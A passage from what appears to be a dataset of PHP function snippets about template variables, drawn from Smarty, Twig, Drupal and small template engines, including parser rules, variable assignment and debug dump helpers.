Template::DCTL){\n\t\t\t\t\t$posEnd = strpos($tpl, '</pp:dynamic>', $posEnd) + Template::DCTL;\n\t\t\t\t\t$nextStart = strpos($tpl, '<pp:dynamic', $nextStart+20);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$npath = (($path != '')?$path.'_':'').$nameTag;\n\t\t\t\t$tpl = substr_replace($tpl, '<pp:dynamic name=\"'.$npath.'\">'.$this->generateFullyQualifiedNames(substr($tpl, $startEnd+1, $posEnd - $startEnd - Template::DCTL - 1), $npath).'</pp:dynamic>', $posStart, $posEnd - $posStart);\n\t\t\t\t\n\t\t\t\t$posStart = strpos($tpl, '<pp:dynamic ', $posEnd);\n\t\t\t}\n\t\t\t\n\t\t\treturn $tpl;\n\t\t}", "function smarty_function_echo($params, &$smarty)\n{\n if(isset($smarty->parent->tpl_vars[$params['var']]))\n {\n return $smarty->parent->tpl_vars[$params['var']]->value;\n }\n return isset($params['default'])?$params['default']:\"\";\n}", "function template_group_name($params,&$smarty)\n {\n extract($params);\n\n $name = group_name($id);\n return $name;\n }", "function yy_r91(){ $this->_retvalue = '['.$this->compiler->compileTag('special_smarty_variable','[\\'section\\'][\\''.$this->yystack[$this->yyidx + -1]->minor.'\\'][\\'index\\']').']'; }", "public function template($var = null): string\n {\n return $this->loadHeaderProperty(\n 'template',\n $var,\n function ($value) {\n return trim($value ?? (($this->isModule() ? 'modular/' : '') . str_replace($this->extension(), '', $this->name())));\n }\n );\n }", "private function genTableVar($var, $includeTable = null){\n if (is_null($includeTable)){\n $includeTable = (strpos($var, \".\") === false);\n }\n\n if ($includeTable){\n return $this->class::sqlTableName() . \".\" . $var;\n }\n else {\n return $var;\n }\n }", "function _variableHandler($data)\r\n {\r\n if (preg_match('/\\$(\\w+)/', $data, $matches)) {\r\n return $GLOBALS[$matches[1]];\r\n } elseif (defined($data)) {\r\n return constant($data);\r\n } else {\r\n return '{'.$data.'}';\r\n }\r\n }", "public function getTemplateNode($fieldName) {}", "public function recursivePrint($varname, $varval)\n {\n if (! is_array($varval)) {\n $this->output->writeln(\"<fg=red>\" . $varname . \": </> = \" . $varval);\n } else {\n foreach ($varval as $key => $val) {\n $this->recursivePrint($varname . \".\" . $key, $val);\n }\n }\n }", "function __ ($var, $rpl = null)\n{\n global $main;\n if (array_key_exists ($var, $main->template->vars_l))\n {\n if (is_array ($rpl))\n $cnt = vsprintf ($main->template->vars_l[$var], $rpl);\n else\n $cnt = $main->template->vars_l[$var];\n echo $cnt;\n }\n}", "function getTemplateVariableContainer() ;", "public function getFullName(){\n\t\treturn $this->templateSet->getFullName() . '/' . $this->name . $this->suffix;\n\t}", "protected function parseVars($template) {\n\t\t$template = preg_replace_callback(\n\t\t\t'/\\{\\$(.*?)\\}/is',\n\t\t\tfunction ($matches) {\n\t\t\t\treturn $this->assignVar($matches[1]);\n\t\t\t},\n\t\t\t$template\n\t\t); // {$var}\n\t\treturn $template;\n\t}", "function var_template_include( $t )\n{\n $GLOBALS['current_theme_template'] = basename($t);\n return $t;\n}", "function dump2(&$variable, $info = false) {\n $backup = $variable;\n $variable = $seed = md5(uniqid() . rand());\n $variable_name = 'unknown';\n foreach ($GLOBALS as $key => $value) {\n if ($value === $seed) { $variable_name = $key; }\n }\n $variable = $backup;\n\n echo '<pre style=\"\n font: 9pt sans-serif;\n text-align: left;\n margin: 25px;\n display: block;\n background: white;\n color: black;\n border:1px solid #ccc;\n padding:5px;\n margin: 25px;\n font-size: 11px;\n line-height: 14px;\n \">';\n\n $info = ($info) ? $info : '$' . $variable_name;\n echo '<b style=\"color:red;\">' . $info . ':</b><br>';\n do_dump($variable, '$' . $variable_name);\n echo '<b style=\"color:red;\">End ' . $info . '</b></pre>';\n}", "public function render()\n {\n $name = $this->arguments['name'];\n $value = $this->arguments['value'];\n\n if (null === $value) {\n $value = $this->renderChildren();\n }\n if (false === strpos($name, '.')) {\n if (true === $this->templateVariableContainer->exists($name)) {\n $this->templateVariableContainer->remove($name);\n }\n $this->templateVariableContainer->add($name, $value);\n } elseif (1 === substr_count($name, '.')) {\n $parts = explode('.', $name);\n $objectName = array_shift($parts);\n $path = implode('.', $parts);\n if (false === $this->templateVariableContainer->exists($objectName)) {\n return;\n }\n $object = $this->templateVariableContainer->get($objectName);\n try {\n ObjectAccess::setProperty($object, $path, $value);\n // Note: re-insert the variable to ensure unreferenced values like arrays also get updated\n $this->templateVariableContainer->remove($objectName);\n $this->templateVariableContainer->add($objectName, $object);\n } catch (\\Exception $error) {\n return;\n }\n }\n }", "function smarty_function_var($params, &$smarty) {\n\tif($params['var']) {\n\t\treturn $smarty->getTemplateVars($params['var']);\n\t}\n\t\n\treturn \"\";\n}", "public function dump(&$varInput, $var_name = '', $reference = '', $method = '=', $sub = false)\n {\n static $output;\n static $depth;\n if ($sub == false) {\n $output = '';\n $depth = 0;\n $reference = $var_name;\n $var = serialize($varInput);\n $var = unserialize($var);\n } else {\n ++$depth;\n $var = &$varInput;\n }\n // constants\n $nl = \"\\n\";\n $block = 'a_big_recursion_protection_block';\n $c = $depth;\n $indent = '';\n while ($c-- > 0) {\n $indent .= '| ';\n }\n $namePrefix = $var_name?$var_name . ' ' . $method:'';\n // if this has been parsed before\n if (is_array($var) && isset($var[$block])) {\n $real = &$var[$block];\n $name = &$var['name'];\n $type = gettype($real);\n $output .= $indent . $namePrefix . '& ' . ($type == 'array'?'Array':get_class($real)) . ' ' . $name . $nl;\n // havent parsed this before\n } else {\n // insert recursion blocker\n $var = Array($block => $var, 'name' => $reference);\n $theVar = &$var[$block];\n // print it out\n $type = gettype($theVar);\n switch ($type) {\n case 'array':\n $output .= $indent . $namePrefix . ' Array (' . $nl;\n $keys = array_keys($theVar);\n foreach ($keys as $name) {\n $value = &$theVar[$name];\n $this->dump($value, $name, $reference . '[\"' . $name . '\"]', '=', true);\n }\n $output .= $indent . ')' . $nl;\n break;\n case 'object':\n $output .= $indent . $namePrefix . get_class($theVar) . ' {' . $nl;\n foreach ($theVar as $name => $value) {\n $this->dump($value, $name, $reference . '=>' . $name, '=>', true);\n }\n $output .= $indent . '}' . $nl;\n break;\n case 'string':\n $output .= $indent . $namePrefix . ' \"' . $theVar . '\"' . $nl;\n break;\n default:\n $output .= $indent . $namePrefix . ' (' . $type . ') ' . $theVar . $nl;\n break;\n }\n }\n --$depth;\n return $output;\n }", "function tie_var($var_name, &$var_value)\r\n\t{\r\n\t\tif (is_array($var_value)) \r\n\t\t{\r\n\t\t\t$list = array_keys($var_value);\r\n\t\t\tforeach($list as $key)\r\n\t\t\t{\r\n\t\t\t\t$this->tie_var($var_name . '.' . $key, $var_value[$key]); // recursion for array branches\r\n\t\t\t}\r\n\t\t}\r\n\t\telse // normal variable\r\n\t\t{\r\n\t\t\t$this->vars[$var_name] =& $var_value;\r\n\t\t}\r\n\t}", "function yy_r69(){ $this->prefix_number++; $this->compiler->prefix_code[] = '<?php $_tmp'.$this->prefix_number.'=$_smarty_tpl->getVariable(\\''. $this->yystack[$this->yyidx + -3]->minor .'\\')->value;?>'; $this->_retvalue = $this->yystack[$this->yyidx + -6]->minor.'::$_tmp'.$this->prefix_number.'('. $this->yystack[$this->yyidx + -1]->minor .')'; }", "protected function assignLoop($name, $template) {\n\t\t//we need a two-dimensional array to perform a loop\n\t\tif (is_array($this->vars[$name][0])) {\n\n\t\t\t$return = '';\n\t\t\t$template = stripslashes($template);\n\n\t\t\tforeach ($this->vars[$name] as $current_loop) {\n\t\t\t\t$this->vars[$name.'_loop'] = $current_loop;\n\t\t\t\t$return .= $this->parseIf($this->parseVars($template));\n\t\t\t}\n\n\t\t\treturn stripcslashes($return);\n\t\t} else {\n\t\t\treturn '';\n\t\t}\n\t}", "function yy_r92(){ $this->_retvalue = '['.$this->compiler->compileTag('special_smarty_variable','[\\'section\\'][\\''.$this->yystack[$this->yyidx + -3]->minor.'\\'][\\''.$this->yystack[$this->yyidx + -1]->minor.'\\']').']'; }", "function isfnet_process_block(&$variables, $hook) {\n // Drupal 7 should use a $title variable instead of $block->subject.\n $variables['title'] = $variables['block']->subject;\n}", "function parse($handle, $tplvar, $parent) {\n yats_assign($this->mBlockHandles[$parent], $tplvar, yats_getbuf($this->mBlockHandles[$handle], $this->default_locale, $this->default_domain, $this->default_dir));\n }", "public function buildFileName()\n {\n $twig = $this->container->get('twig');\n $globals = $twig->getGlobals();\n return $globals['fullName'].'-Resume.';\n }", "function _getFullName() {\n\t\treturn \"document.{$this->form_name}.elements['{$this->field_name}']\";\n\t}", "public function compile(Twig_Compiler $compiler)\n {\n $name = $this->getAttribute('name');\n $reference = $this->getAttribute('reference');\n $variable = $this->getAttribute('variable');\n $offset = $this->getAttribute('offset');\n $offset = ($offset === null || $offset === false || strval(intval($offset)) != $offset ? 'null' : $offset);\n\n if ($variable) {\n $compiler\n ->addDebugInfo($this)\n ->write(\"if (!\\$this->env->getExtension('defer')->contains('{$reference}', '$name|' . \\$context['{$variable}'])) {\\n\")\n ->indent()\n ->write(\"\\$this->env->getExtension('defer')->cache('{$reference}', \\$this->renderBlock('{$name}', \\$context, \\$blocks), '$name|' . \\$context['{$variable}'], {$offset});\\n\")\n ->outdent()\n ->write(\"}\\n\")\n ;\n\n return;\n }\n if ($this->getAttribute('unique')) {\n $compiler\n ->addDebugInfo($this)\n ->write(\"if (!\\$this->env->getExtension('defer')->contains('{$reference}', '{$name}')) {\\n\")\n ->indent()\n ->write(\"\\$this->env->getExtension('defer')->cache('{$reference}', \\$this->renderBlock('{$name}', \\$context, \\$blocks), '{$name}', {$offset});\\n\")\n ->outdent()\n ->write(\"}\\n\")\n ;\n\n return;\n }\n $compiler\n ->addDebugInfo($this)\n ->write(\"\\$this->env->getExtension('defer')->cache('{$reference}', \\$this->renderBlock('{$name}', \\$context, \\$blocks), null, {$offset});\\n\")\n ;\n }", "function yy_r129()\n {\n if ($this->yystack[$this->yyidx + - 1]->minor['var'] == '\\'smarty\\'') {\n $this->_retvalue = $this->compiler->compileTag('Internal_SpecialVariable', array(), $this->yystack[$this->yyidx + - 1]->minor['smarty_internal_index']) . $this->yystack[$this->yyidx + 0]->minor;\n } else {\n $this->_retvalue = $this->compiler->compileVariable($this->yystack[$this->yyidx + - 1]->minor['var']) . $this->yystack[$this->yyidx + - 1]->minor['smarty_internal_index'] . $this->yystack[$this->yyidx + 0]->minor;\n }\n }", "function yy_r76(){if ($this->yystack[$this->yyidx + 0]->minor['var'] == '\\'smarty\\'') { $this->_retvalue = $this->compiler->compileTag('special_smarty_variable',$this->yystack[$this->yyidx + 0]->minor['index']);} else {\r\n $this->_retvalue = '$_smarty_tpl->getVariable('. $this->yystack[$this->yyidx + 0]->minor['var'] .')->value'.$this->yystack[$this->yyidx + 0]->minor['index']; $this->compiler->tag_nocache=$this->compiler->tag_nocache|$this->template->getVariable(trim($this->yystack[$this->yyidx + 0]->minor['var'],\"'\"))->nocache;} }", "protected function renderVar($var, array &$context, $encode)\n\t{\n\t\t// sanitise $var\n\t\t$var = strtr($var, array('\\'' => '\\\\\\'', '\\\\' => '\\\\\\\\'));\n\t\t$result = $this->openPhp();\n\t\t$result .= '$d->'.($encode?'echo':'echoRaw').'(\\'' . $var . '\\');';\n\t\treturn $result;\n\t}", "final public function GetVariableName() { return $this->varName; }", "final public function GetVariableName() { return $this->varName; }", "function makeRef($ota){\n $ref = '';\n $ref = $ota->NPOSNR.'-'.$ota->NJOURNALNR.'-'.$ota->NSERIALNR.'-'.$ota->NPROJNR;\n return $ref;\n }", "public function _printedVariable($attrs, $children) {\n return function($controller) use ($attrs) {\r\n $identifier = $attrs['identifier'];\n return $controller->template[$identifier]->value;\r\n };\n }", "public function name($var = null): string\n {\n return $this->loadProperty(\n 'name',\n $var,\n function ($value) {\n $value = $value ?? $this->getMetaData()['template'] ?? 'default';\n if (!preg_match('/\\.md$/', $value)) {\n $language = $this->language();\n if ($language) {\n // TODO: better language support\n $value .= \".{$language}\";\n }\n $value .= '.md';\n }\n $value = preg_replace('|^modular/|', '', $value);\n\n $this->unsetProperty('template');\n\n return $value;\n }\n );\n }", "function vlang_vars_name($str, $array){\n\t\n\tforeach($array as $k => $v){\n\t\t\n\t\t$str = str_replace('{{'.$k.'}}', $v, $str);\n\t\n\t}\n\t\n\treturn $str;\n\n}", "private function returnVaribleName($var) {\n $variable = '';\n $variableName = explode('_', $var);\n if (count($variableName) <= 1) {\n $variable = $variableName[0];\n }\n \n if (count($variableName) > 1) {\n foreach ($variableName as $index => $name) {\n if ($index == 0) {\n $variable .= $name;\n }\n if ($index > 0) {\n $variable .= ucfirst($name);\n }\n }\n }\n return $variable;\n }", "public function formatVariable(){\r\n\t\t\r\n\t\tforeach($this->template as $k=>$v){\r\n\t\t\tif(preg_match('/{\\s+\\$(\\w+)}/', $v, $matches)){\r\n\t\t\t\t$this->variable_lines = ($k+1);\r\n\t\t\t\t$this->error_notice[($k+1)] = 'Variable format error: The blank is not allowed with \\'{\\' near '.$matches[1].' in '.$this->template_file.$this->template_postfix.' on line '.($k+1);\r\n\t\t\t}\r\n\t\t\tif(preg_match('/{\\$(\\w+)\\s+}/', $v, $matches)){\r\n\t\t\t\t$this->variable_lines = ($k+1);\r\n\t\t\t\t$this->error_notice[($k+1)] = 'Variable format error: The blank is not allowed with \\'}\\' near '.$matches[1].' in '.$this->template_file.$this->template_postfix.' on line '.($k+1);\r\n\t\t\t}\r\n\t\t\tif(preg_match('/{\\s+\\$(\\w+)\\s+}/', $v, $matches)){\r\n\t\t\t\t$this->variable_lines = ($k+1);\r\n\t\t\t\t$this->error_notice[($k+1)] = 'Variable format error: The blank is not allowed with \\'{}\\' near '.$matches[1].' in '.$this->template_file.$this->template_postfix.' on line '.($k+1);\r\n\t\t\t}\r\n\t\t}\r\n\t}", "protected function _injectTplVariable()\r\n {\r\n $oConfig = oxRegistry::getConfig();\r\n $sTplVariableName = $oConfig->getConfigParam('sTplVariable');\r\n if ($sTplVariableName) {\r\n $oConfig->getActiveView()->addTplParam($sTplVariableName, $this->getToxid());\r\n }\r\n }", "function gwt_drupal_process_block(&$variables, $hook) {\n // Drupal 7 should use a $title variable instead of $block->subject.\n $variables['title'] = isset($variables['block']->subject) ? $variables['block']->subject : '';\n}", "public function _assignInScope($varname, $variable_obj, $scope_type = Smarty::SCOPE_LOCAL)\n {\n if ($scope_type == Smarty::SCOPE_GLOBAL) {\n Smarty::$_global_tpl_vars->{$varname} = $variable_obj;\n if ($this->_usage == Smarty::IS_TEMPLATE) {\n // we must bubble from current template\n $scope_type = Smarty::SCOPE_ROOT;\n } else {\n // otherwise done\n return;\n }\n }\n\n // must always assign in local scope\n $this->_tpl_vars->{$varname} = $variable_obj;\n\n // if called on data object return\n if ($this->_usage == Smarty::IS_DATA) {\n return;\n }\n\n // if called from template object ($this->scope_type set) we must consider\n // the scope type if template object\n if ($this->_usage == Smarty::IS_TEMPLATE) {\n if (($this->scope_type == Smarty::SCOPE_ROOT || $this->scope_type == Smarty::SCOPE_PARENT) &&\n $scope_type != Smarty::SCOPE_ROOT && $scope_type != Smarty::SCOPE_SMARTY\n ) {\n $scope_type = $this->scope_type;\n }\n }\n\n if ($scope_type == Smarty::SCOPE_LOCAL) {\n return;\n }\n\n $node = $this->parent;\n while ($node) {\n // bubble up only in template objects\n if ($node->_usage == Smarty::IS_TEMPLATE || ($scope_type == Smarty::SCOPE_SMARTY && $node->_usage != Smarty::IS_DATA)) {\n $node->_tpl_vars->{$varname} = $variable_obj;\n if ($scope_type == Smarty::SCOPE_PARENT) {\n break;\n }\n }\n $node = $node->parent;\n }\n }", "protected function cbToTplVar($key)\n {\n return '##' . $key . '##';\n }", "function do_dump(&$var, $var_name = NULL, $indent = NULL, $reference = NULL)\n{\n\t$do_dump_indent = \"<span style='color:#eeeeee;'>|</span> &nbsp;&nbsp; \";\n\t$reference = $reference.$var_name;\n\t$keyvar = 'the_do_dump_recursion_protection_scheme'; $keyname = 'referenced_object_name';\n\n\tif (is_array($var) && isset($var[$keyvar]))\n\t{\n\t\t$real_var = &$var[$keyvar];\n\t\t$real_name = &$var[$keyname];\n\t\t$type = ucfirst(gettype($real_var));\n\t\techo \"$indent$var_name <span style='color:#a2a2a2'>$type</span> = <span style='color:#e87800;'>&amp;$real_name</span><br>\";\n\t}\n\telse\n\t{\n\t\t$var = array($keyvar => $var, $keyname => $reference);\n\t\t$avar = &$var[$keyvar];\n\n\t\t$type = ucfirst(gettype($avar));\n\t\tif($type == \"String\") $type_color = \"<span style='color:green'>\";\n\t\telseif($type == \"Integer\") $type_color = \"<span style='color:red'>\";\n\t\telseif($type == \"Double\"){ $type_color = \"<span style='color:#0099c5'>\"; $type = \"Float\"; }\n\t\telseif($type == \"Boolean\") $type_color = \"<span style='color:#92008d'>\";\n\t\telseif($type == \"NULL\") $type_color = \"<span style='color:black'>\";\n\n\t\tif(is_array($avar))\n\t\t{\n\t\t\t$count = count($avar);\n\t\t\techo \"$indent\" . ($var_name ? \"$var_name => \":\"\") . \"<span style='color:#a2a2a2'>$type ($count)</span><br>$indent(<br>\";\n\t\t\t$keys = array_keys($avar);\n\t\t\tforeach($keys as $name)\n\t\t\t{\n\t\t\t\t$value = &$avar[$name];\n\t\t\t\tdo_dump($value, \"['$name']\", $indent.$do_dump_indent, $reference);\n\t\t\t}\n\t\t\techo \"$indent)<br>\";\n\t\t}\n\t\telseif(is_object($avar))\n\t\t{\n\t\t\techo \"$indent$var_name <span style='color:#a2a2a2'>$type</span><br>$indent(<br>\";\n\t\t\tforeach($avar as $name=>$value) do_dump($value, \"$name\", $indent.$do_dump_indent, $reference);\n\t\t\techo \"$indent)<br>\";\n\t\t}\n\t\telseif(is_int($avar)) echo \"$indent$var_name = <span style='color:#a2a2a2'>$type(\".strlen($avar).\")</span> $type_color$avar</span><br>\";\n\t\telseif(is_string($avar)) echo \"$indent$var_name = <span style='color:#a2a2a2'>$type(\".strlen($avar).\")</span> $type_color\\\"$avar\\\"</span><br>\";\n\t\telseif(is_float($avar)) echo \"$indent$var_name = <span style='color:#a2a2a2'>$type(\".strlen($avar).\")</span> $type_color$avar</span><br>\";\n\t\telseif(is_bool($avar)) echo \"$indent$var_name = <span style='color:#a2a2a2'>$type(\".strlen($avar).\")</span> $type_color\".($avar == 1 ? \"TRUE\":\"FALSE\").\"</span><br>\";\n\t\telseif(is_null($avar)) echo \"$indent$var_name = <span style='color:#a2a2a2'>$type(\".strlen($avar).\")</span> {$type_color}NULL</span><br>\";\n\t\telse echo \"$indent$var_name = <span style='color:#a2a2a2'>$type(\".strlen($avar).\")</span> $avar<br>\";\n\n\t\t$var = $var[$keyvar];\n\t}\n}", "static public function variable($content, $attributes=array()) {\n return self::content('var', $content, $attributes);\n }", "public function getVariableName(): string\n {\n return $this->var ?? $this->getValue();\n }", "public function getTemplatePathname() : string {\n\t\treturn $this->templateBasePath . '/linklist-group.mustache';\n\t}", "function _phptemplate_variables($hook, $vars) {\n if ($hook == 'page') {\n\n if ($secondary = menu_secondary_local_tasks()) {\n $output = '<span class=\"clear\"></span>';\n $output .= \"<ul class=\\\"tabs secondary\\\">\\n\". $secondary .\"</ul>\\n\";\n $vars['tabs2'] = $output;\n }\n\n // Hook into color.module\n if (module_exists('color')) {\n _color_page_alter($vars);\n }\n return $vars;\n }\n return array();\n}", "function tpl_comment( $comment, $args, $depth ) {\n\n\ttpl('item', 'comment', array(\n\t\t'comment' => $comment,\n\t\t'args' => $args,\n\t\t'depth' => $depth\n\t));\n\n}", "public function getVarName()\n\t{\n\t\treturn 'form-'.$this->domain;\n\t}", "public function getVar($var) {\n\t\tif (isset($this->tpl_vars[$var])) {\n\t\t\treturn $this->tpl_vars[$var];\n\t\t} else {\n\t\t\treturn '';\n\t\t}\n\t}", "function yy_r99(){ if ($this->yystack[$this->yyidx + -1]->minor['var'] == '\\'smarty\\'') { $this->_retvalue = $this->compiler->compileTag('special_smarty_variable',$this->yystack[$this->yyidx + -1]->minor['index']).$this->yystack[$this->yyidx + 0]->minor;} else {\r\n $this->_retvalue = '$_smarty_tpl->getVariable('. $this->yystack[$this->yyidx + -1]->minor['var'] .')->value'.$this->yystack[$this->yyidx + -1]->minor['index'].$this->yystack[$this->yyidx + 0]->minor; $this->compiler->tag_nocache=$this->compiler->tag_nocache|$this->template->getVariable(trim($this->yystack[$this->yyidx + -1]->minor['var'],\"'\"))->nocache;} }", "public function createTemplateFromVar($var)\n {\n $node = self::findNodeByAttr($this->original->documentElement, $var, 'var');\n if (!$node) {\n throw new Exception('Cannot find var to create a template from.');\n }\n $doc = new \\DOMDocument();\n $newNode = $doc->importNode($node, true);\n $doc->appendChild($newNode);\n return new self($doc, $this->getEncoding());\n }", "function smarty_block_bracket($params, $content, &$smarty, &$repeat)\r\n{\r\n if(!$repeat)\r\n {\r\n if (isset($content)) \r\n {\r\n // do some intelligent translation thing here with $content\r\n return '{' . $content . '}';\r\n }\r\n }\r\n}", "protected function parseLoop($template) {\n\t\t$template = preg_replace_callback(\n\t\t\t'/\\{loop \\$(.*?)\\}(.*?)\\{\\/loop\\}/is',\n\t\t\tfunction ($matches) {\n\t\t\t\treturn $this->assignLoop($matches[1], $matches[2]);\n\t\t\t},\n\t\t\t$template\n\t\t); // {loop $myloop} $myloop_loop['test'] {/loop}\n\t\treturn $template;\n\t}", "private function getNamespaceName() {\n if ($this->getTypeName() != 'n_NAMESPACE') {\n return null;\n }\n\n $namespace_name = $this->getChildByIndex(0);\n if ($namespace_name->getTypeName() == 'n_EMPTY') {\n return null;\n }\n\n return '\\\\'.$namespace_name->getConcreteString();\n }", "function append_var_from_handle_to_block($blockname, $varname, $handle)\n\t{\n\t\t$this->assign_var_from_handle('_tmp', $handle);\n\t\t// assign the value of the generated variable to the given varname.\n\t\t$this->append_block_vars($blockname, array($varname => $this->vars['_tmp']));\n\t\treturn true;\n\t}", "function yy_r71(){ $this->prefix_number++; $this->compiler->prefix_code[] = '<?php $_tmp'.$this->prefix_number.'=$_smarty_tpl->getVariable(\\''. $this->yystack[$this->yyidx + -4]->minor .'\\')->value;?>'; $this->_retvalue = $this->yystack[$this->yyidx + -7]->minor.'::$_tmp'.$this->prefix_number.'('. $this->yystack[$this->yyidx + -2]->minor .')'.$this->yystack[$this->yyidx + 0]->minor; }", "function GlobalReplace($template){\n\tglobal $globalVars;\n\n\tforeach ($globalVars as $key => $value) {\r\n\t\t$template = str_replace('{'.$key.'}', $value, $template);\r\n\t}\n\n\treturn $template;\r}", "public function tlogVariable($name, $variable);", "public function & getVariableRef($key, & $data) {\n\n if (strpos($key, $this->scopeGlue) === false) {\n $parts = explode('.', $key);\n } else {\n $parts = explode($this->scopeGlue, $key);\n }\n\n $i = 0;\n $count = count($parts);\n $d = & $data;\n\n while ($i < $count) {\n\n $key_part = $parts[$i];\n $key_part_int = filter_var($key_part, FILTER_VALIDATE_INT);\n $key_part_is_int = $key_part_int !== false;\n $get_ref = ($i + 1) == $count;\n\n if ($key_part_is_int && is_object($d)) {\n $d = (array) $d;\n }\n\n if (!is_array($d) && !is_object($d)) {\n $d = array();\n }\n\n if (is_array($d)) {\n\n if ($key_part_is_int && !array_key_exists($key_part, $d)) {\n $key_part = $key_part_int;\n }\n\n if ($get_ref) {\n\n if (!array_key_exists($key_part, $d)) {\n $d[$key_part] = null;\n }\n\n return $d[$key_part];\n\n } else {\n\n if (!isset($d[$key_part])) {\n $d[$key_part] = array();\n }\n\n $d = & $d[$key_part];\n }\n\n } else {\n\n if ($get_ref) {\n\n if (!property_exists($d, $key_part)) {\n $d->{$key_part} = null;\n }\n\n return $d->{$key_part};\n\n } else {\n\n if (!property_exists($d, $key_part)) {\n $d->{$key_part} = array();\n }\n\n $d = & $d->{$key_part};\n }\n }\n\n $i++;\n }\n }", "function yy_r169()\n {\n if (empty($this->db_quote_code_buffer)) {\n $this->_retvalue = '(string)$_scope->_tpl_vars->' . substr($this->yystack[$this->yyidx + 0]->minor, 1) . '->value';\n } else {\n $this->db_quote_code_buffer .= 'echo (string)$_scope->_tpl_vars->' . substr($this->yystack[$this->yyidx + 0]->minor, 1) . '->value;';\n $this->_retvalue = false;\n }\n }", "public function testCompileBlockParentNested()\n {\n $result = $this->smarty->fetch('test_block_parent_nested.tpl');\n $this->assertContains('Title with -default- here', $result);\n }", "private function getTranslatedFieldReference() {\n\t\t$fieldsParent = $this->getFieldsParentByReference();\n\t\tif ( $fieldsParent ) {\n\t\t\t$trid = $this->sitepress->get_element_trid( $fieldsParent, sprintf( 'post_%s', self::GROUP_POST_TYPE ) );\n\t\t\t$translatedFieldGroups = $this->sitepress->get_element_translations( $trid, sprintf( 'post_%s', self::GROUP_POST_TYPE ) );\n\t\t\tif ( isset( $translatedFieldGroups[ $this->sitepress->get_current_language() ]->element_id ) ) {\n\t\t\t\treturn $this->getReferenceFromChildrenOfFieldGroup( $translatedFieldGroups[ $this->sitepress->get_current_language() ]->element_id );\n\t\t\t}\n\t\t}\n\t\treturn $this->originalReference;\n\t}", "function Template()\r\n\t{\r\n\t\t$this->out = \"\";\r\n\t\t$this->objs = array();\r\n\t\t$this->vars = array();\r\n\t\t$this->data = &$data;\r\n\t\t$this->use_getvar = false;\r\n\t}", "public function getTemplateName() {\n\t\treturn 'uitypes/Tree.tpl';\n\t}", "function dump(&$variable, $loop = false, $encoding = 'ISO-8859-15') {\n $backup = $variable;\n $variable = $seed = md5(uniqid() . rand());\n $name = false;\n $variable_name = 'unknown';\n foreach ($GLOBALS as $key => $value) {\n if ($value === $seed) { $variable_name = $key; }\n }\n $variable = $backup;\n $html = '';\n $color = array(\n 'array' => 'dummy',\n 'boolean' => '#92008d',\n 'integer' => '#ff0000',\n 'double' => '#0099c5',\n 'float' => '#0099c5',\n 'object' => 'dummy',\n 'NULL' => '#0000ff',\n 'string' => '#008000',\n );\n $td_style = 'font: 9pt sans-serif; padding-top: 1px; padding-bottom: 1px; padding-left: 5px; padding-right: 5px; border-right: solid 1px #cccccc; border-bottom: solid 1px #cccccc;';\n $table_style = '\n font: 9pt sans-serif;\n text-align: left;\n display: block;\n background: white;\n color: black;\n border-top: solid 1px #ccc;\n border-left: solid 1px #ccc;\n margin: 25px;';\n $type = gettype($variable);\n $style = 'color: ' . $color[$type] . '; font-weight: normal; ' . $td_style;\n switch ($type) {\n case 'array':\n case 'object':\n $html .= ($loop ? \"<td style='$td_style'>\" : \"<table style='$table_style' cellspacing='0' cellpadding='2'><tr><td style='$td_style' valign='top'><strong>$$variable_name</strong></td><td style='$td_style' valign='top'>$type (\" . count($variable) . \")</td><td style='$td_style'>\");\n $html .= '<table style=\"font: 9pt sans-serif; border-top: solid 1px #cccccc; border-left: solid 1px #cccccc;; margin: 2px;\" cellspacing=\"0\" cellpadding=\"2\">';\n foreach ($variable as $key => $value) {\n if ($key === 'GLOBALS') { continue; } // avoid *RECURSION*\n $html .= '<tr><td style=\"font: 9pt sans-serif; padding-top: 1px; padding-bottom: 1px; padding-left: 5px; padding-right: 5px; border-right: solid 1px #cccccc; border-bottom: solid 1px #cccccc;\" valign=\"top\"><b>'.str_replace(\"\\x00\", ' ', $key).'</b></td>';\n $html .= '<td style=\"font: 9pt sans-serif; padding-top: 1px; padding-bottom: 1px; padding-left: 5px; padding-right: 5px; border-right: solid 1px #cccccc; border-bottom: solid 1px #cccccc;\" valign=\"top\">'.gettype($value);\n if (is_array($value) OR is_object($value)) {\n $html .= '&nbsp;('.count($value).')';\n } elseif (is_string($value)) {\n $html .= '&nbsp;('.strlen($value).')';\n }\n $html .= '</td>'.dump($value, true, $encoding).'</tr>';\n }\n $html .= '</table>';\n $html .= ($loop ? '</td>' : '</td></tr></table>');\n break;\n\n case 'boolean':\n $html .= ($loop ? '<td style=\"' . $style . '\">' : '').($variable ? 'TRUE' : 'FALSE').($loop ? '</td>' : '');\n break;\n\n case 'integer':\n $html .= ($loop ? '<td style=\"' . $style . '\">' : '').$variable.($loop ? '</td>' : '');\n break;\n\n case 'double':\n case 'float':\n $html .= ($loop ? '<td style=\"' . $style . '\">' : '').$variable.($loop ? '</td>' : '');\n break;\n\n case 'objectoooo':\n $html .= ($loop ? '<td style=\"' . $style . '\">' : '').dump($variable, true, $encoding).($loop ? '</td>' : '');\n break;\n\n case 'string':\n $variable = str_replace(\"\\x00\", ' ', $variable);\n $varlen = strlen($variable);\n for ($i = 0; $i < $varlen; $i++) {\n $html .= htmlentities($variable{$i}, ENT_QUOTES, $encoding);\n }\n $html = ($loop ? '<td style=\"' . $style . '\">' : '').nl2br($html).($loop ? '</td>' : '');\n break;\n\n case 'NULL':\n $html .= ($loop ? '<td style=\"' . $style . '\">' : '').'NULL'.($loop ? '</td>' : '');\n break;\n\n default:\n $html .= ($loop ? '<td style=\"' . $style . '\">' : '').nl2br(htmlspecialchars(str_replace(\"\\x00\", ' ', $variable))).($loop ? '</td>' : '');\n break;\n }\n return $html;\n}", "public function getVariable(): string\n {\n return $this->variable;\n }", "function ___ ($var, $rpl = null)\n{\n global $main;\n if (array_key_exists ($var, $main->template->vars_l))\n {\n if (is_array ($rpl))\n $cnt = vsprintf ($main->template->vars_l[$var], $rpl);\n else\n $cnt = $main->template->vars_l[$var];\n return $cnt;\n }\n}", "function compile_compile_config($variable, &$object)\r{\r\t$_result\t= \"\";\r\r\t// remove the beginning and ending #\r\t$variable = substr($variable, 1, -1);\r\r\t// get [foo] and .foo and (...) pieces\t\t\t\r\tpreg_match_all('!(?:^\\w+)|(?:' . $object->_var_bracket_regexp . ')|\\.\\$?\\w+|\\S+!', $variable, $_match);\r\t$variable = $_match[0];\r\t$var_name = array_shift($variable);\r\r\t$_result = \"\\$this->_confs['$var_name']\";\r\tforeach ($variable as $var)\r\t{\r\t\tif ($var{0} == '[')\r\t\t{\r\t\t\t$var = 